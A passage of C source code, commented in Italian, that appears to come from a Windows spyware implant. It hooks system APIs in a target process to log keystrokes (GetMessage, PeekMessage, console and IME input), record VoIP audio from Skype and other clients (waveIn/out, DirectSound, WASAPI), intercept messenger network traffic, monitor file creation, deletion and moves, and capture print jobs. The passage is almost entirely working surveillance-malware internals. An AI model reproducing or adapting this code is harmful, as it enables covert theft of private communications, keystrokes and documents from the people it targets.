HMMAKE_HOOK(dwPid, "PostMessageW", PM_PostMessageURL, SendMessageURLData, PM_PostMessageURL_setup, pServiceData, "user32.dll");
HMMAKE_HOOK(dwPid, "SetWindowTextW", PM_SetWindowText, SendMessageURLData, PM_SetWindowText_setup, pServiceData, "user32.dll");
// --- PM per Snapshot (on window creation)
HMMAKE_HOOK(dwPid, "CreateWindowExA", PM_CreateWindowEx, CreateWindowExData, PM_CreateWindowEx_setup, pServiceData, "user32.dll");
HMMAKE_HOOK(dwPid, "CreateWindowExW", PM_CreateWindowEx, CreateWindowExData, PM_CreateWindowEx_setup, pServiceData, "user32.dll");
//HMMAKE_HOOK(dwPid, "ShowWindow", PM_ShowWindow, ShowWindowData, PM_ShowWindow_setup, pServiceData, "user32.dll");
// --- PM per VOIP
HMMAKE_HOOK(dwPid, "WriteFile", PM_WriteFile, WriteFileData, PM_WriteFile_setup, pServiceData, "KERNEL32.dll");
HMMAKE_HOOK(dwPid, "waveOutWrite", PM_waveOutWrite, waveOutWriteData, PM_waveOutWrite_setup, pServiceData, "WINMM.dll");
HMMAKE_HOOK(dwPid, "waveInAddBuffer", PM_waveInUnprepareHeader, waveInUnprepareHeaderData, PM_waveInUnprepareHeader_setup, pServiceData, "WINMM.dll");
HMMAKE_HOOK(dwPid, "SendMessageTimeoutA", PM_SendMessage, SendMessageData, PM_SendMessage_setup, pServiceData, "user32.dll"); // per SKYPE
HMMAKE_HOOK(dwPid, "SendMessageTimeoutW", PM_SendMessage, SendMessageData, PM_SendMessage_setup, pServiceData, "user32.dll"); // per SKYPE
HMMAKE_HOOK(dwPid, "recv", PM_Recv, RecvData, PM_Recv_setup, pServiceData, "Ws2_32.dll"); // per YahooMessenger
HMMAKE_HOOK(dwPid, "send", PM_Send, RecvData, PM_Recv_setup, pServiceData, "Ws2_32.dll"); // per YahooMessenger
HMMAKE_HOOK(dwPid, "WSARecv", PM_WSARecv, WSARecvData, PM_WSARecv_setup, pServiceData, "Ws2_32.dll");
HMMAKE_HOOK(dwPid, NULL, PM_DSGetCP, DSGetCPData, PM_DSGetCP_setup, pServiceData, "dsound.dll");
HMMAKE_HOOK(dwPid, NULL, PM_DSCapGetCP, DSCapGetCPData, PM_DSCapGetCP_setup, pServiceData, "dsound.dll");
// Metto kernel32 giusto per far andare avanti la funzione, in realta' la dll viene caricata dal setup
pServiceData->PARAM[0] = HMMAKE_HOOK(dwPid, NULL, PM_WASAPIGetBuffer, WASAPIGetBufferData, PM_WASAPIGetBuffer_setup, pServiceData, "kernel32.dll");
if (pServiceData->PARAM[0]) {
HMMAKE_HOOK(dwPid, NULL, PM_WASAPIReleaseBuffer, WASAPIReleaseBufferData, PM_WASAPIReleaseBuffer_setup, pServiceData, "kernel32.dll");
pServiceData->PARAM[0] = NULL;
}
pServiceData->PARAM[0] = HMMAKE_HOOK(dwPid, NULL, PM_WASAPICaptureGetBuffer, WASAPIGetBufferData, PM_WASAPICaptureGetBuffer_setup, pServiceData, "kernel32.dll");
if (pServiceData->PARAM[0]) {
HMMAKE_HOOK(dwPid, NULL, PM_WASAPICaptureReleaseBuffer, WASAPIReleaseBufferData, PM_WASAPICaptureReleaseBuffer_setup, pServiceData, "kernel32.dll");
pServiceData->PARAM[0] = NULL;
}
pServiceData->PARAM[0] = HMMAKE_HOOK(dwPid, NULL, PM_WASAPICaptureGetBufferMSN, WASAPIGetBufferData, PM_WASAPICaptureGetBufferMSN_setup, pServiceData, "kernel32.dll");
if (pServiceData->PARAM[0]) {
HMMAKE_HOOK(dwPid, NULL, PM_WASAPICaptureReleaseBufferMSN, WASAPIReleaseBufferData, PM_WASAPICaptureReleaseBufferMSN_setup, pServiceData, "kernel32.dll");
pServiceData->PARAM[0] = NULL;
}
// --- PM per il file agent... XXX Le versioni Ascii richiamano comunque quelle WideChar
// Tranne la MoveFileA, che comunque da explorer non viene mai richiamata...
//HMMAKE_HOOK(dwPid, "CreateFileA", PM_CreateFile, CreateFileData, PM_CreateFile_setup, pServiceData, "KERNEL32.dll");
//HMMAKE_HOOK(dwPid, "DeleteFileA", PM_DeleteFile, CreateFileData, PM_CreateFile_setup, pServiceData, "KERNEL32.dll");
//HMMAKE_HOOK(dwPid, "MoveFileA", PM_MoveFile, CreateFileData, PM_CreateFile_setup, pServiceData, "KERNEL32.dll");
HMMAKE_HOOK(dwPid, "CreateFileW", PM_CreateFile, CreateFileData, PM_CreateFile_setup, pServiceData, "KERNEL32.dll");
HMMAKE_HOOK(dwPid, "DeleteFileW", PM_DeleteFile, CreateFileData, PM_CreateFile_setup, pServiceData, "KERNEL32.dll");
HMMAKE_HOOK(dwPid, "MoveFileW", PM_MoveFile, CreateFileData, PM_CreateFile_setup, pServiceData, "KERNEL32.dll");
// --- PM per il keylog agent
HMMAKE_HOOK(dwPid, "GetMessageA", PM_GetMessage, GetMessageData, PM_GetMessage_setup, pServiceData, "user32.dll");
HMMAKE_HOOK(dwPid, "GetMessageW", PM_GetMessage, GetMessageData, PM_GetMessage_setup, pServiceData, "user32.dll");
HMMAKE_HOOK(dwPid, "PeekMessageA", PM_PeekMessage, GetMessageData, PM_GetMessage_setup, pServiceData, "user32.dll");
HMMAKE_HOOK(dwPid, "PeekMessageW", PM_PeekMessage, GetMessageData, PM_GetMessage_setup, pServiceData, "user32.dll");
HMMAKE_HOOK(dwPid, "ImmGetCompositionStringW", PM_ImmGetCompositionString, GetMessageData, PM_GetMessage_setup, pServiceData, "imm32.dll");
HMMAKE_HOOK(dwPid, "ReadConsoleInputA", PM_ReadConsoleInput, GetMessageData, PM_GetMessage_setup, pServiceData, "kernel32.dll");
HMMAKE_HOOK(dwPid, "ReadConsoleInputW", PM_ReadConsoleInput, GetMessageData, PM_GetMessage_setup, pServiceData, "kernel32.dll");
HMMAKE_HOOK(dwPid, "ReadConsoleA", PM_ReadConsoleA, GetMessageData, PM_GetMessage_setup, pServiceData, "kernel32.dll");
HMMAKE_HOOK(dwPid, "ReadConsoleW", PM_ReadConsoleW, GetMessageData, PM_GetMessage_setup, pServiceData, "kernel32.dll");
HMMAKE_HOOK(dwPid, "ReadConsoleInputExA", PM_ReadConsoleInputEx, GetMessageData, PM_GetMessage_setup, pServiceData, "kernel32.dll");
HMMAKE_HOOK(dwPid, "ReadConsoleInputExW", PM_ReadConsoleInputEx, GetMessageData, PM_GetMessage_setup, pServiceData, "kernel32.dll");
// --- PM per il print agent...
// Le altre funzioni utilizzeranno PARAM[0] per accedere ai dati memorizzati nella
// DataStruct di CreateDC (es: handle al memory device)
pServiceData->PARAM[0] = HMMAKE_HOOK(dwPid, "CreateDCW", CreateDC_wrap, CreateDC_data, CreateDC_setup, pServiceData, "GDI32.dll");
// Se ha creato correttamente il primo hook, inserisce tutti gli altri
// Altrimenti scorrerebbero non avendo il puntatore alla struttura dati
// di CreateDC
if (pServiceData->PARAM[0]) {
HMMAKE_HOOK(dwPid, "CreateDCA", CreateDCA_wrap, CreateDCA_data, CreateDCA_setup, pServiceData, "GDI32.dll");
HMMAKE_HOOK(dwPid, "DeleteDC", DeleteDC_wrap, DeleteDC_data, DeleteDC_setup, pServiceData, "GDI32.dll");
HMMAKE_HOOK(dwPid, "StartDocW", StartDoc_wrapW, StartDoc_data, StartDoc_setup, pServiceData, "GDI32.dll");
HMMAKE_HOOK(dwPid, "StartDocA", StartDoc_wrapA, StartDoc_data, StartDoc_setup, pServiceData, "GDI32.dll");
HMMAKE_HOOK(dwPid, "StartPage", StartPage_wrap, StartPage_data, StartPage_setup, pServiceData, "GDI32.dll");
HMMAKE_HOOK(dwPid, "EndPage", EndPage_wrap, EndPage_data, EndPage_setup, pServiceData, "GDI32.dll");
HMMAKE_HOOK(dwPid, "EndDoc", EndDoc_wrap, EndDoc_data, EndDoc_setup, pServiceData, "GDI32.dll");
HMMAKE_HOOK(dwPid, "SetAbortProc", SetAbortProc_wrap, SetAbortProc_data, SetAbortProc_setup, pServiceData, "GDI32.dll");
HMMAKE_HOOK(dwPid, "GetDeviceCaps", GetDeviceCaps_wrap, GetDeviceCaps_data, GetDeviceCaps_setup, pServiceData, "GDI32.dll");
}
}
void __stdcall HM_sInBundleService(DWORD dwPid, HMServiceStruct *pServiceData)
{
HMMAKE_HOOK(dwPid, NULL, IPCClientRead, IPCClientRead_data, IPCClientRead_setup, NULL, NULL);
HMMAKE_HOOK(dwPid, NULL, IPCClientWrite, IPCClientWrite_data, IPCClientWrite_setup, NULL, NULL);
pServiceData->pHM_IpcCliRead = (HM_IPCClientRead_t) IPCClientRead_data.dwHookAdd;
pServiceData->pHM_IpcCliWrite = (HM_IPCClientWrite_t) IPCClientWrite_data.dwHookAdd;
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//
// EXPORTS SECTION: END
//
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//
// STARTUP PROCUDERE: START
//
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//
// Funzioni di supporto
//
// Converte Unicode in ascii
void HM_U2A(char *buffer)
{
DWORD i=0, j=0;
if (!buffer || buffer[1]!=0)
return;
do {
i++;
j+=2;
buffer[i]=buffer[j];
} while(buffer[i]!=0);
}
void HM_A2U(char *src, char *dst)
{
DWORD i=0;
do {
dst[i*2] = src[i];
dst[i*2+1] = 0;
} while(src[i++]);
}
// Prende un path in unicode e torna una stringa dos sicuramente valida in
// ascii per accedere al file
char *GetDosAsciiName(WCHAR *orig_path)
{
char *dest_a_path;
WCHAR dest_w_path[_MAX_PATH + 2];
DWORD mblen;
memset(dest_w_path, 0, sizeof(dest_w_path));
if (!FNC(GetShortPathNameW)(orig_path, dest_w_path, (sizeof(dest_w_path) / sizeof (WCHAR))-1))
return NULL;
if ( (mblen = FNC(WideCharToMultiByte)(CP_ACP, 0, dest_w_path, -1, NULL, 0, NULL, NULL)) == 0 )
return NULL;
if ( !(dest_a_path = (char *)malloc(mblen)) )
return NULL;
if ( FNC(WideCharToMultiByte)(CP_ACP, 0, dest_w_path, -1, (LPSTR)dest_a_path, mblen, NULL, NULL) == 0 ) {
free(dest_a_path);
return NULL;
}
return dest_a_path;
}
// Espande le variabili d'ambiente e il tag della home
// dsize e' il numero di WCHAR contenibili in dest
BOOL HM_ExpandStringsW(WCHAR *source, WCHAR *dest, DWORD dsize)
{
WCHAR *ptr;
WCHAR *tmp_buf;
if (!FNC(ExpandEnvironmentStringsW)(source, dest, dsize))
return FALSE;
if ( !(tmp_buf = (WCHAR *)malloc(dsize*sizeof(WCHAR))) )
return FALSE;
// Espande la variabile d'ambiente fittizia della home
while ( (ptr = wcsstr(dest, HOME_VAR_NAME_W)) ) {
*ptr = 0;
ptr += wcslen(HOME_VAR_NAME_W);